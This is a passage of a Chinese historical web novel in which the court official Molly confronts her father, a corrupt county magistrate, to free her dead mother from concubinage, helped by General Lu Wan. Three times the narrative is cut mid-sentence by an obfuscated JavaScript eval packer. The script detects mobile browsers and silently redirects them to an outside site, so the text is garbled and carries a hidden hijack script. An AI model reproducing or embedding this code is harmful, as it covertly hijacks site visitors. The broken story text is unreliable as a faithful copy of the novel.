茉莉放心了，“舅妈答应就好。” 李秋道：“你阿娘的命实在太苦了！” “我自幼就知道。”茉莉想起幼时种种，不禁鼻酸，泪光盈盈的，目光却异常坚定，“我一定会为阿娘讨回公道。” “我倒以为，眼下不是好时机。”魏缨是局外人，看得清楚些，“你刚崭露头角，朝中无数双眼睛盯着你，以子告父，白白送人话柄。以你的心性，三五年内必能成事，当下唯有一忍，等到将来扫除障碍，身居高位，何愁不能为你母亲讨回公道？茉莉，万事不可冲动。” “姐姐说的都对，可我等不及......” “人云，君子报仇，十年不晚。你再急，也要等襄王回来再做打算。” “晋律在上，他帮不上我。”茉莉一声叹息。 “你在府中苦苦煎熬时，能想到今日光景么？”魏缨揽住她的肩膀，温声劝道：“十二年都过来了，就这三五个月，何妨一等？” 魏缨思虑周全，且一直为茉莉设身处地地考虑，作为姐妹，茉莉无条件信任她。闻言，思忖片刻，省了过来，“我听姐姐的。” 43. 人世自纷纷 五鼓时分，骊山行宫内已是灯火通明。 卢绾早早收拾妥当，着全副黑金甲胄，披一领银狐毛领黑披风，进殿请安。他是先帝近臣遗孤，与楚棠年纪相仿，牙牙学语时即养在一处，开蒙上学后，又是伴读，二十五年来心心相印，形影不离，让楚棣都自愧不如。 此番出宫行猎，是由他提前勘探地形、确定出行路线和随行人员、调动羽林、布置护卫、决定赏赐物品等。 计划周全，无一遗漏，但因楚棠临时想改道蓝田巡视军务，故一众陪猎近臣、内侍、羽林等人都手忙脚乱地编队整理车辆仪仗，行宫内外一时间丁零当啷，人影交错。 “来，坐下用饭。”楚棠玉冠束发，穿一身青金绛红团纹大袖常服，在座中向他招呼。 桌上只是几碟肉食饭菜，主食是毕罗、面条，十分家常，卢绾没有客套，坐下就端起碗筷，大口喋饭。 正吃着，楚棠道：“仪仗到达蓝田大营后，你替我去县衙关照一下，免得她们白跑一趟。” “陛下要关照谁？” “用我说么？” “请给卑职明示。” “今后关照魏缨。” 卢绾闻言已参透楚棠的心思，回想前事，只是沉默。 六年前，镇国公主手握权柄，宋氏父子大胜突厥，在那当口，太子竟为情所扰，蜗居书房不出，一时间，太子党在朝中岌岌可危，那灰溜溜的一阵，让卢绾成日心惊肉跳，简直以为人生再度陷入绝境。 听闻崔氏女成碧及笄两年仍待字闺中，是太子妃的不二人选，棘手的是，崔家主母是宗女，素来与镇国公主亲厚，为了拉拢崔家，增加手中筹码，楚棠和卢绾在崔成碧身上很废了些心思。 宫宴初见，雅集谈诗，乐游原踏青，席地而坐，品酒论道，甚至于卢绾代笔，孜孜不倦地写下酸诗示爱，后来便渐渐俘获芳心，要迎崔成碧入主东宫，让她与父母兄长争执，成就婚姻。 如此一来，崔氏自然而然地被朝野评判为太子党，必须出面平息混乱，为太子争取喘息的时机。婚后一年多，皇太孙呱呱坠地，太子缓过劲来，正式监国。 楚棠少年时荡情于内帏，决然不会为一个女人停留太久，监国后，宵衣旰食，隐隐有“绝爱道”的苗头，故而从始至终，卢绾都对崔成碧心怀歉疚，因他是这段“佳话”的始作俑者。 “你不愿去？”楚棠不解。 “回禀陛下，臣愿前往。只是——”卢绾抬眼看住，“臣想问，陛下有意纳魏姑娘？” “有问题么？” “近来太后频频向陛下施压，幸有崔皇后从中周旋，在这关头纳新人入宫，岂不徒增烦恼？” 楚棠蹙起眉心，觉得扫兴。照理说，身为皇帝，想纳便纳了，何须瞻前顾后？但卢绾所言字字在理，此时纳了魏缨，万一后院起火就不美了。还是先探口风，再从长计议为上。 “皇后贞静贤良，岂会为此小事拈酸吃醋。”楚棠当初看中的，正是崔成碧那份恬淡、聪敏、忠诚，但当他发现崔成碧从不参与后宫斗争，那士大夫一般的种种特质就让他心里无比别扭。 自那时起，楚棠开始怀疑，崔成碧并不怎么爱他，至少，没成婚前那么爱了。 见他自欺欺人，卢绾自是不肯放过：“想来崔皇后继续不闻不问，陛下倒能十分畅快。” “难说。”楚棠驳过一句，若有所思道：“事多繁杂，此事还是从长计议吧。” 卢绾心中大定，笑道：“陛下坐拥天下，何愁将来宫中不能美人如云？先放一放，总有合适的时机。” “你不懂。”楚棠看向卢绾，“出其东门，有女如云。虽则如云，匪我思存。” “这还是臣的陛下吗？”卢绾大感意外。 “卢绾，你也该成家了，否则你永远不懂朕这番话和这番心意。”楚棠话锋一转，如往常一样，微笑地看他。 多年来，他就是用这样的眼神看着他，要他这样，要他那样。 卢绾心有所属，怎会不懂？推拒道：“臣出身范阳卢氏，官居四品，但有所求，必为与本家齐平的名门贵女，然臣为罪臣之子，至今受百官公卿鄙夷，举凡世家之女，谁肯纡尊降贵与臣共度余生？” “惦记着崔卢郑王，你心气不低嘛。” “臣久伴天子身侧，自当略有心气。” 楚棠欣然笑道：“朕为你物色了一个，你可愿一听？” “陛下会物色么？”卢绾将信将疑，“何许人也？” “起居郎茉莉。” “陛下莫要玩笑，臣可看不上小门小户的姑娘。”卢绾清楚楚棠葫芦里卖的药，决然不肯掺和兄弟之争，至于那话，却不是真的。 “绝非玩笑。”楚棠笑容神秘，耐心解释道：“这个茉莉，虽然出身寒微，然朕观其颇有天资，又勤谨、克己，实为可造之材。既然往后同在一处当差，你不妨对她多加了解，或能生出好感，成就美事。”稍顿，道：“她虽非倾国倾城之姿，但到底是美的，你不亏。” 卢绾抬眼将他看住，“个中缘由，请陛下实言相告。”几乎有些犯上。 “好吧。”楚棠坦白，“朕想重用她，但又不希望她与楚棣再有来往，苦于不能下旨赐婚，故而请你卢大将军出山，用你的满腔柔情、缱绻诗文、精巧玩意儿，征服她，直到楚棣心死。” “陛下要臣重演当初的戏码，不怕殿下看出端倪？” “窈窕淑女，君子好逑。至于如何逑法，不就跟天下文章一样，互相抄来抄去就大好了。” “陛下此言差矣！”卢绾深知此举不妥，正色道：“茉莉身后空无一人，臣若奉旨，将来真相大白，与杀她何异？须知‘女之耽兮，不可脱也’。” “你放心，届时朕会下旨将她外放，三年五载过去，她一定会忘了你。至于你的婚事，朕早有主意，要为你择一宗女。” “此举不妥，恕臣不能领命。” “你看八姑母家的阿香如何？前阵子姑母携她入宫赴宴，你也在的，朕观她言谈举止不似少时，已甚为端方了，做得贤内助。况且你我同在太极宫中长大，姑母膝下无子，曾将你带回府亲养，视如己出般，你娶阿香，不是很好吗？将来你要统领北衙，除朕以外，还需有宗亲为你托底。” “陛下...臣，”提及大长公主，卢绾不禁动摇。 “朕命你再想想，不许一口回绝！” “容臣细禀，大长公主待臣亲厚，臣奉大长公主如生身母亲，只把郡主当做妹妹，从无他想。臣请陛下千万千万，千千万万，别再乱点鸳鸯谱了。” “那朕说的事？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149895|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “臣尽力而为。” “但是？” “请陛下为臣谋划。” “妥。” 话音未落，内侍林华已至殿中，原来仪仗已经收拾妥帖，当时二人便起身出去，朝蓝田方向行进。 蓝田是京畿重地，常有高官来此巡视，为维持门面，县中修有一条宽阔官道，可同时容纳两辆马车，不论寻常或赶集天，从不拥堵。 天刚泛白，单家夫妇就在村头租了一辆牛车，吱吱嘎嘎地随二女往县里去。一路上除了筹谋应付元家夫妇，便是想着找几个帮手。过了半个时辰，一众到达县里，穿过市集，径直停在一家客栈门前。 单家清贫，只有一双儿女。长女思思绣工极好，十三岁入绣坊做工，因勤谨单纯，深为员外夫人喜爱，四年往来，知道她家里人口简单，父母兄弟踏实肯干，便备上一份丰厚聘礼，找媒人上门，聘她与幼子为妻。 单家夫妇一合计，将大部分聘礼添为嫁妆，留些少数，置了几亩薄田，勤勤恳恳地侍弄土地，儿子阿洛不是读书的料，就叫他认得几个字，在县里客栈做账房，一晃六七年了，姐弟俩同在一处，互相照应。 进大堂坐定，跑堂向账房招呼，阿洛走出来，一眼先看见魏缨，然后才是茉莉，回过神，给父母斟了两碗清茶，招呼道：“阿耶阿娘，今日怎有空来了？” 单青让儿子先坐，介绍他们认识后，把茉莉和魏缨此行目的说了一遍：“阿洛，茉莉要去元府接你姑妈回家，你要是不忙，跑一趟你姐夫家里，找几个高壮家丁和我们同去。” 阿洛清瘦斯文，着一身夹棉灰袍，束起头发，像个读书人的样子。凝神细听父亲所言，心里惊讶不已—— 自他记事起，父母就不停地提起姑妈和元府，那县太爷夫妇恶名在外，阿耶在他那里几次吃瘪，险些丢了性命。他懂事后，曾想细问内情，却被阿耶一句话堵了，仿佛那是不能揭晓的秘密。 直至今日，这小表妹的出现，让阿耶再次起身反抗元府，当真让阿洛百感交集，一方面，姑妈死因不明，阿耶多年来一直想查清内情；另一方面，农夫与县令为敌，庶女与生父嫡母为敌，在他看来太过荒诞不经。 父母半世辛劳，苦尽甘来，终于过上几天安生日子，假若卷进此事，官司赢了，皆大欢喜，官司输了，那风波绝不是他们能承受的。但他了解父母，故而心里计较再多，也没有一口回绝或敷衍。 茉莉不安地问：“表哥，你意下如何？” 看着眼前殷殷期盼的四人，阿洛不忍道：“我再想想。” 李秋心里明镜似的，开口道：“阿洛，你已经忘记你姑妈了吗？你小时候......” “儿子没有。”阿洛打断母亲的话。 李秋冷笑：“那你何不答应？你明知道，这是你阿耶一块心病。” “论生存，民不与官斗，论孝道，子不违父命。阿耶多年来为姑妈受尽元府欺辱，已经大尽兄长之责，这才消停几日，又要上门碰钉子么？表妹虽已入仕为官，但要父休母，却是有违孝仁，放到哪里都理亏呀！儿子以为，此事可办，但应当从长计议。”阿洛悄然地考验茉莉。 茉莉果然听明白了，急切道：“请表哥把话说明了，元府何时、何故欺辱阿舅？来日我定要将这笔帐一并清算。” 44. 故地重游 单家世代为农，老实本分，奋力耕种，只因先帝好战，连年加重赋税、征收军粮，导致国中农户缺粮少钱，度日艰难。 其时单青已经成婚生女，单冰待字闺中，为了补贴家用，常与嫂子结伴上街卖菜。 有一日，单冰被元综半骗半哄、破了身子，事后父母百般劝阻，要她远走她乡躲避瘟神，却不想她以为将自己典与县令为妾能够补贴家用，执意入府，生下了茉莉。因此一着，举家成了元府奴仆。 后来元综名声越来越差，父兄担心单冰，几番上门求见，都被家丁蛮横地打出门去，虽说只是外伤，但父母日夜悬心吊胆，不久便相继离世。 那时候，阿洛还不懂事，每每看见阿耶浑身是伤，他就知道，阿耶去过元府。再后来，姑妈也去世了，阿耶奔丧回家后，坐在门口屈辱地流泪，从那天起，县令视他们为死敌。 倏忽十来年，谋生虽无比艰难，但好在挺过来了。直到茉莉要与京兆尹为妾的消息传来，他们与元府的战火又再次点燃。 阿耶伤痕累累，阿洛心痛不已，决意劝他别再多管闲事，不料阿娘把他一顿臭骂，直到今日，才能坐下一谈。 原以为自己六亲缘薄，却不想都自今日得以弥补，茉莉望着须发花白的阿舅，不禁悲从中来，伏在他肩头恸哭：“阿舅，这些年辛苦你了。” “阿舅和你娘最要好，怎能不疼她？”夫妇二人怜惜地抱住茉莉，当她如初生婴孩一般，轻轻抚去颊边的眼泪，“怪阿舅没本事，没把你娘从那魔窟里救回来。” “不怪阿舅，阿舅已经做得够多了。”茉莉心中有恨，但她一直坚守着，不让恨意烧灭她的理智。 她很清楚，要为母亲复仇必得追根溯源，找到她们母女悲剧人生的始作俑者。 魏缨无比动容，宽慰道：“茉莉，正事要紧，别哭了。只要你父亲写下休书，姨母便即恢复自由之身，再不拘于妾室身份。” 思虑再三后，阿洛走到茉莉身边，一字一顿：“表妹如此孝顺，姑妈泉下有知定会欣慰。咱们一家子，应当齐心协力办好此事，只是强令县令休妾迁坟，治标不治本也，从今往后，单家的平静稳定，全系于表妹一身。” 茉莉抬手用力一擦，脸上火辣辣的，起身一礼：“表哥放心，有茉莉在一日，单家就安宁一日。” 听得此言，阿洛心中大定，把一众先安置在客栈，再亲去姐姐府上说明此事。 单家姐弟相差三岁，自幼相亲相爱，不曾吵闹片刻。长大成人，亦互相帮衬，亲如一体。 姐姐嫁人前夕，他曾立誓，要博出一片天地，让父母安度晚年，不论多么艰难，都不能随意请求姐夫帮忙，因他知道，至亲至疏夫妻，假若娘家事事麻烦，时日一长，姐姐婚姻必受影响。故而几年来，他一直坚守自己的誓言。 如今要迎姑妈回家，阿洛第一个要求的就是姐夫。事情棘手，他没有想好如何开口。 快步疾行，不过小半个时辰，阿洛就来到何府内宅，但见厅中端坐一□□，娇小玲珑，面若桃花，乌云堆鬓，钗环素净，着一身藕粉莲荷纹织锦齐胸，怀中拢着汤婆子，正哄一个七八岁的男童吃饭。 思思招呼道：“阿洛，今日客栈不忙么？” “现在不忙。”阿洛把酒放到桌上，“这是新到的龙膏酒，我提两坛过来给姐夫尝尝。”话毕，一副欲言又止的样子。 “就知道顾着你姐夫。”思思嗔他一句，其实隐约猜到几分，寻思身边人多眼杂，也不多问，只做无事般，哄儿子吃下半碗银鱼鸡蛋羹，方打发奶娘女使带孩子出去消食。 阿洛添上饭菜，动起筷子：“小弟怎会厚此薄彼？这不，给阿姐捎了两匹琉璃绸，已交与婆子了，吃完饭去看看？” “唷，真大方也！有何事要求你姐姐？” “回姐姐，是大事，须得姐夫点头。” “说来听听。” 阿洛便将茉莉来访、入仕为官，父母进城、欲借家丁等事尽数告诉思思，待她把事情理顺，才掏心窝子说：“姐，你公爹是元府座上宾，不论他们关系好坏，其实这件事情你不卷进来最好。爹娘那头，一定会体谅你的。” 这话倒是不错。 思思觉得自己命好，虽然高嫁何府，但公婆对她百般疼爱。公爹何员外原为从五品秘书丞，属镇国公主一派，自东宫理政后，见升迁无望，便急流勇退致仕回到蓝田养老。 她听官人说，元综为了攀上公主府，时常请公爹入府叙谈，有好几次欲送美人巴结，都叫人挡了回去，婆母为人和善，从不屑背后评人，可一提起张玉桃，必得洗刷一顿。 今日家中所求，无论如何她都该应下，一则当年家贫，姑母愿意典身为妾，必有此因，说来于他们一家有恩；二则表妹茉莉入仕为官，前途光明；三则公婆早有与元府断绝往来之心。 这个忙，怎么帮都不亏。 思思没有经过丈夫，当即拍案，从前院找了十来个身强力壮的家丁。临出门时，叮嘱道：“盯紧一些，别让元府再伤了阿耶。” “那是自然。”阿洛笑得开怀，“等办完这件事，咱家就再也不被那狗官钳制了。这么些年，也多谢姐夫时时照拂。” “是啊，不光爹娘，表妹这些年过得也不容易。”思思姐性大发，叮嘱道：“阿洛，你如今有妹妹了，得像阿耶那样，做个好兄长，知道么？” “姐......”阿洛眼睛一热，鼻子酸涩，“我再怎样，也做不到比你更好。我不求别的，只要将来她能记得咱爹娘一星半点，就十分好了。” “咱们是一家人，理应守望相助。”思思疼爱地看他，“快去吧，别误了事。用我跟你一块儿去吗？” “你在家等消息吧。”阿洛抹了泪，带上家丁径自回客栈去。 一众来至县衙照壁外，看着门后深不可测的大宅院，如一张血盆大口，让茉莉生出熟悉的怯意，僵住了，一动不动。 魏缨安顿好众人，将茉莉拉到一边，“临门一脚了，你还未想清楚吗？” 身有后盾，茉莉不打退堂鼓，提了口气道：“想好了，走，走吧。” 县衙门边有胖瘦捕快当值，老远就望见魏缨，淡若纤云，恰似天仙。再瞧，府上三娘也在，几月不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162877|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见，出落得越发好了，只是脸色阴沉，苦大仇深，与出阁前别无二致。 正好二人都听过些风言风语，眼神一对，等她们走到面前，胖瘦捕快招呼道：“三娘回府省亲啦？哟，这谁，不是舅老爷嘛！”惊讶不已。 茉莉冷哼一声，“缺管少教。”走到二人跟前，取出告牒，“认得字么？”说完，忽有些落寞。 不曾想三娘如此摆谱，胖瘦捕快当时臊红了脸，伸手接来告牒，凑在一处认字：“门下、少目，起居良，单氏未...，从六品上......” “真笨啊，这字念郎。” “哦，起居郎,单氏，谁姓单？咱们这有姓单的吗？” “你管呢，继续念。” “未......” 一众忍俊不禁，阿洛上前：“二位官爷，那是三娘的名讳，茉莉。” 胖瘦捕快恍然大悟，原来那行字念做“门下省起居郎单茉莉”，只是不信：“三娘少戏耍我们，你不是去京兆府了？怎能入朝为官？” 茉莉夺过告牒，霍然高声道：“去告诉元综，门下省郎官奉圣人口谕前来见他。” 衙门中人不满县令者居多，二人乐得看戏，见那告牒是真货，瘦捕快回身去二门上传话。 不过一刻，元综一身官服自中门迎来，嘴里喊着：“啊呀，郎官请恕——”话未出口，笑容已僵在脸上，四面环视，未见身着官袍之人，倒是见着单家那几个讨债的。 当时就对茉莉冷哼一声：“死丫头，缺管少教。” 如此相似，却深恨彼此，这正是茉莉感到落寞的原因。 魏缨悄悄打量他们，相貌有六分相似，神情举止更不必说，当时上前半步，正声提醒：“元县令慎言，你眼前正是门下省郎官单茉莉。” 两月前，京兆府只是传信退婚，信中并未交代事情原委，身为下官，元综不敢过问，吃了这哑巴亏。 今日见茉莉全须全尾、光鲜亮丽地站在眼前，身边跟着个姑射仙子般人物，便对她的种种奇遇十分好奇。 元综但觉愠怒，本想发作，却不得不认真琢磨如何应付他们。忽而想起那则传闻，难道，前些天大闹门下省的女官单氏，竟是他的女儿？那瘦捕快说她有告牒，想来是真的。 稍顿，元综笑道：“女儿真出息也，短短两个月不见，已与为父同等品秩了。此番回府，听说是公干，教为父如何设宴款待、称呼你也？” “本官奉圣人口谕回府了结我生母身后遗留之事，公事公办，县令呼我职务即可。” “岂不坏了父女名份？”元综皮笑肉不笑。 “府上何曾有过礼数规矩？县令只管叫了。” 人尽皆知，圣人维护单氏，没弄清楚全部事情以前，元综自然不会跟她别扭，不情不愿道：“那......郎官请。” 茉莉不依不饶，“县令好没礼数，只请本官么？没见宫里的魏姑娘和我阿舅一家？” 魏缨轻扯茉莉衣袖，提醒她别太过火。 元综涨红了脸：“一并入府。” 茉莉背过身，忍不住翻一记白眼。 45. 故地重游 一众入得衙门，到二门上方止。 会客厅内明亮古朴，一色黄花梨木桌椅板凳，元综在上首落座，其余人等依次在左右两边坐定。片刻后，三名青衫女使入内，给每桌上了一壶新沏的红茶，登时满室茶香。 沉默良久，见场面不大好看，魏缨便端茶，堪堪抿了一口，笑吟吟道：“此茶叶形纤细，色泽翠亮，入口醇爽回甘，想必是浮梁红茶？” “魏——姑娘好生厉害，此茶量少难求，老夫也只在接待贵客时才泡上一壶。”为了探清虚实，元综刻意放下架子，绝口不称本官。 “县令如此嗜茶，真雅人也！”魏缨赞了一句。 “姑娘谬赞。”但见茉莉衣锦荣归，元综只得先放下好恶，亲热地问：“女儿以为此茶如何？” 茉莉不识茶香，闻言心中深恨，冷声道：“请县令称本官职务。” 魏缨笑着接过话：“县令莫怪，此次单郎官回府，实因有公事在身，需得谨言慎行。” “本官理会的。”元综皮笑肉不笑的，“郎官何时姓单了？” 茉莉一脸正色：“我生母姓单，我自然也能姓单。做人不能忘本不是？” 元综闻言，面色更沉了：“你小娘单氏是为父真金白银典了来的，并未写过休书，仍为为父妾室。女子在家从父，出嫁从夫，你一闺阁在室女，擅自改姓才是忘本。” 单青夫妇怒不可遏，捏着茶杯的手不禁发抖，刚要反驳，就听茉莉道：“相烦县令出具典妾文书。” 元综讶然不语，这大字不识几个的庶女，何时懂得律法了？当下板起面孔训斥：“你我同朝为官不假，但我到底是你的生身父亲，近一个月来，听说你处处树敌，不夹紧尾巴做人就罢，竟敢上门找我的晦气？你意欲何为？” 茉莉讥讽道：“当初你找我母亲晦气，可想过有这一天？” “为父始料未及也。”元综大摇其头，“你欲逼迫为父休妾不成？” “你猜得对啊！茉莉此生恨为元氏血脉，今日回府正是要你休妾，与你元氏一刀两断。” “此举悖逆人伦，你不怕御史台参你？” “噢，参我？”茉莉丝毫不怯，微笑道：“县令在蓝田作威作福，欺压百姓，霸占民田，逼良为妾，兴许更为御使台青睐。” “你威胁我？”元综咬牙切齿。 魏缨心思缜密，为尊重茉莉私隐，从不将听到的消息细思拼凑，今日听到此处，倏忽明白元综罪过不止于此，实可能罄竹难书也。想定，若是茉莉不能摆平，她再开口。 茉莉不喜不怒，不紧不慢：“生恩难报，为母亲身后能得安宁，茉莉自当放手一搏。” “哪怕与元府共沉沦？” “刀山火海，在所不惜。” 元综忽而大笑：“好个在所不惜！”说罢，定定看住茉莉，因他在赌，茉莉不会为一个死人放弃来之不易的大好前程，否则，那也太不像他的骨肉了。 茉莉自袖中抽出文书，交与管家递去，“我已提前写好放妻书，县令签字便即生效，至于户籍、迁坟还家等事，自有我阿舅去跑。不劳费心。” 薄薄一页纸，短短几行字，便写完一个女子凄苦的一生。 元综接过细看，行文颇有古韵，楷书更是笔力匪浅，实难相信出自茉莉之手，毕竟她离家时，尚是大字不识一箩筐啊！心里恰似打翻五味瓶，酸甜苦辣咸，样样都有。 “当初不让你开蒙上学真是对。” “废话少说。”几乎是喝止。 魏缨轻轻一拍茉莉的手背，低声道：“不可。” “狼心狗肺的东西，为父生养你一场，竟大错了。”元综诸多子女，皆不成器，眼瞅着有这一个出色的，怎肯轻易放过？自是硬着头皮不肯签字。 茉莉猛地拍桌，喝道：“签名，盖印。”吓众人一跳。 元综气不打一处来，干脆把文书扬到茉莉脸上，指着鼻子大骂：“父母的事轮得着你来做主？你如今只是个六品郎官，就敢骑到父母头上，此等心性，即便将来封侯拜相也是死路一条！文书拿走，再胡搅蛮缠，休怪为父对你不客气。” “好，我倒要看你如何对我不客气了。”茉莉仰起头脸，怨愤地迎上他的目光，不肯罢休，即使止不住地手抖，也不后退分毫。 话音未落，魏缨已起身护住茉莉，元综扬起的手亦被单青从身后拉住，向旁一甩，甩他个趔趄。 “来人！把他们给本官赶出去！” “姓元的，我单青今日就跟你算个总账。” 元综只是不应，要继续训斥茉莉，门外已传来杂沓的脚步声，衙役片刻来至厅内，师爷进门，附在元综耳边说了一句，元综立马变了神色，正正官帽，抖抖官袍，着急忙慌地迎出去。 “茉莉，”魏缨拉着茉莉坐下，“此事我们本不占理，你更不该如此跋扈。” 茉莉单是“嗯”了一声，不觉心灰志堕。她知道元综的心思，片刻之后，将那文书捡起放到桌上：“舅舅，他前后给了你多少银子？” “二十五两。”少得可怜。 “那我以千金之数，买回自由身如何？”茉莉连声音都在发抖。 “少了。”魏缨明白此事的难处，“他已认定你将来能够出人头地，必不会因小失大。” “姐姐，”茉莉忽的眼眶一红，埋着脸，哽咽道：“怎么办啊？” 众人都知道，今日事若不成，待她们一走，元综会变本加厉地欺压单家。 阿洛知道不能再沉默了，问道：“表妹，你豁得出去吗？” 茉莉犹豫片刻，还是“嗯”了一声，事到如今，不管是什么主意，她都愿意试试。 “元综在任上劣迹斑斑，人证物证随处可察，表妹何不收集些许罪证送到御史台？届时再与他对簿公堂。”阿洛不懂官场上的弯弯绕绕，能想出这法子，已极为不易。 此举可行，然而，对于茉莉这般备受瞩目与争议的女官而言，声名上不可留下无法反驳的污点，譬如“以子告父”、“不孝”等声名，极可能在将来的某天成为压垮她的最后一根稻草。 父子对垒，作为人子的一方，天然地居于弱势。今日虽也“不孝”，但到底没翻上明面，没有对簿公堂，哪怕传扬出去，亦有回旋余地。假若白字黑字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174453|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下案卷，将来便是一条铁证。 默然良久，场面几乎开始尴尬，魏缨忽然道：“我不同意。”俨然是她自己的主意。 “姑娘为何反对？”阿洛不禁怀疑她们的诚心。 李秋喝止：“阿洛。” “朝堂之上，人伦纲常胜于一切，为官先告父，到底说不过去。”同样的理由，借由外人魏缨说出口，就掩饰了茉莉的自私和退却。 茉莉眼中盈满泪水，亮晶晶的：“姐姐......我想好了......”心底忽然生出一股力量，推着她，迫切地去了结这桩心事。 魏缨心头一颤，用力抓紧她的手，“给我点时间，再想想，总会有别的法子。” 茉莉迷惘地点头，便即垂下脑袋，心焦如焚。 “魏姑娘和小女此刻就在厅内，卢将军请。”门外是元综的声音，轻快极了。 魏缨知道这事成了，立刻摇了摇茉莉的手，“打起精神。” 恍然抬头，正见卢绾站在门口，说起来，茉莉与他见过多次了，但从未认真瞧过他，哪怕一回。 但见他玉冠束发，眉聚风云，目若朗星，体态健硕笔挺，着一身玄色轻甲，映在天光里，端的天神降世般。 “卢将军！”茉莉起身问：“你怎么来了？” 卢绾实心说：“晨起随陛下行到蓝田，奉命过来看看你的事办得如何。”还不忘补上一句：“魏姑娘好。” 方才在外间闲叙，含含糊糊的，元综这才知道来者不善，心里登时紧张起来。茉莉是他生的，不论前事如何，孝道都能压她一头。但朝中皆知，卢绾与天子亲如一体，他名声虽好，若不慎得罪，恐怕是会吃不了兜着走。 “县令不肯，吩咐人把我们赶出去。”茉莉存了告状的心思，“我一来便说了，此行是奉旨而来。” 听罢，元综无奈道：“将军不知，我这女儿泼辣野蛮，逃婚就逃了两回。奉圣谕命下官休妻，简直骇人听闻，加以空口无凭，下官自是不敢轻信。” “你胡说！”茉莉高声一驳，捏紧了拳头，“你妻张氏在内宅里好好的，我何时要你休她？” “好了，”元综语重心长：“为父都听你的，将你生母抬为平妻，咱们就此作罢好么？你休再胡闹。” 茉莉破口大骂：“我母亲一生为妾，在张氏手中受尽搓磨，在我幼时便郁郁离世，我今日来不是追究前程往事，我只想为我母亲讨还自由之身！让她的灵魂远离你们这对伥鬼！” 元综依旧不为所动，只是向卢绾道：“让卢将军见笑了。” 卢绾但觉尴尬，见茉莉泪眼朦胧，紧咬牙关，心中生出一阵不忍，偏袒道：“茉莉与本将同在御前当值，她的性子本将多少晓得，不需县令多言。至于是非对错，来日自有定论。” “是。”元综讪讪应道。 卢绾自顾自坐到上首，给自己斟上一盏新茶，饮一大口，赞道：“好茶，好香。” “将军喜欢，走时下官给您包上两块茶饼。”元综抓紧时机谄媚。 “多谢。”卢绾好不客气，招呼道：“大家都坐。”似狄仁杰，正式升堂断案。 46. 故地重游 众人归位，独元综不敢落座，侧身垂首立在一边。 饮过一盏清茶，卢绾休息好，不紧不慢地：“古人云‘天地君亲师’，有君命在前，即便父子人伦也得靠后。县令答我，此理是也不是？” 问得元综虾着腰，连连点头：“是，是。” 卢绾点头，淡淡道：“单郎官圣眷正浓，此番回府处理生母身后事，确有陛下首肯，绝非杜撰。” “那是下官错怪女儿了。”元综作势拱手，“为父向女儿致歉。” “少恶心我！”茉莉几要咬碎银牙。 “郎官稍安勿躁。”卢绾安抚一句，平静地看着元综，“本将今日上门拜见，只为解圣人之惑，还望县令侍君以忠。” 元综听罢，已满头细汗，匆忙伏跪于地。 “郎官生母何故入府？何故去世？” 二女一惊，不约而同地望向卢绾，单家三口但觉重见天日，心里喜滋滋的，至于元综，则如芒在背，抖如筛糠，几要肝胆俱裂。 厅中默然良久，单青壮着胆子，跪倒在地：“草民可以回答，恳请将军为我妹妹做主。” 莫非其中真有冤情？卢绾意在诈一诈元综，但见这农家汉子满脸通红，思忖有顷，认真点头道：“先生但有冤情，尽数说与我听。” 一众心中大定，茉莉很高兴，上前扶起阿舅，介绍道：“卢将军，这是我阿舅、舅母和表哥。”二人应声见礼。 “我与单郎官同朝为官，二位长辈行此大礼，岂不折煞我了？快快请起吧。”说罢，拱手还一礼。 魏缨柔声道：“阿舅，你快将内情说与卢将军。” 单青将往事娓娓道来，譬如元综与友人欺诈良家、豢养姬妾，主母张氏虐待妾室、庶子，以及妹妹早逝，诸如此类，数不胜数。 这充斥着不公与血泪的故事，足以让任何人瞠目结舌。 卢绾几经政斗，自认有些见识，但从不曾想过，在社会最底层，芝麻小官也能利用手中那一丁点儿权力作恶，将乐土变作修罗地狱。 不知何时，元综身下淌着一滩浑水，人已昏倒了。 卢绾对门外高声喊道：“来人，把元综叫醒。” 副官进会客厅来，提着茶壶蹲在地上，先猛猛地在元综脸上拍了两下，见无甚反应，便倒茶下去，口里喊道：“醒醒，醒醒。”片刻后，转向卢绾，“将军，醒了。” 茉莉见状，心里想道，此番醒了便叫他签名盖印，从此死生不复相见。 只见元综悠悠转醒，惶恐至极，连忙翻身跪倒：“将军休受小人蒙蔽，请听下官解释。” “说。” “当年微服私访，下官与单氏于市集初见，因此误了终身。单家穷困，贪图几两碎银把女儿送入府中为妾，生一女茉莉，抬为平妻，吃穿用度不曾亏待半分，是她身子单薄，生养后不曾调理回来，早早去世了。女儿年幼不能分辨，受有心之人蒙蔽，多年来，怨怪下官不曾善待她的母亲，以至今日对下官咄咄相逼。” 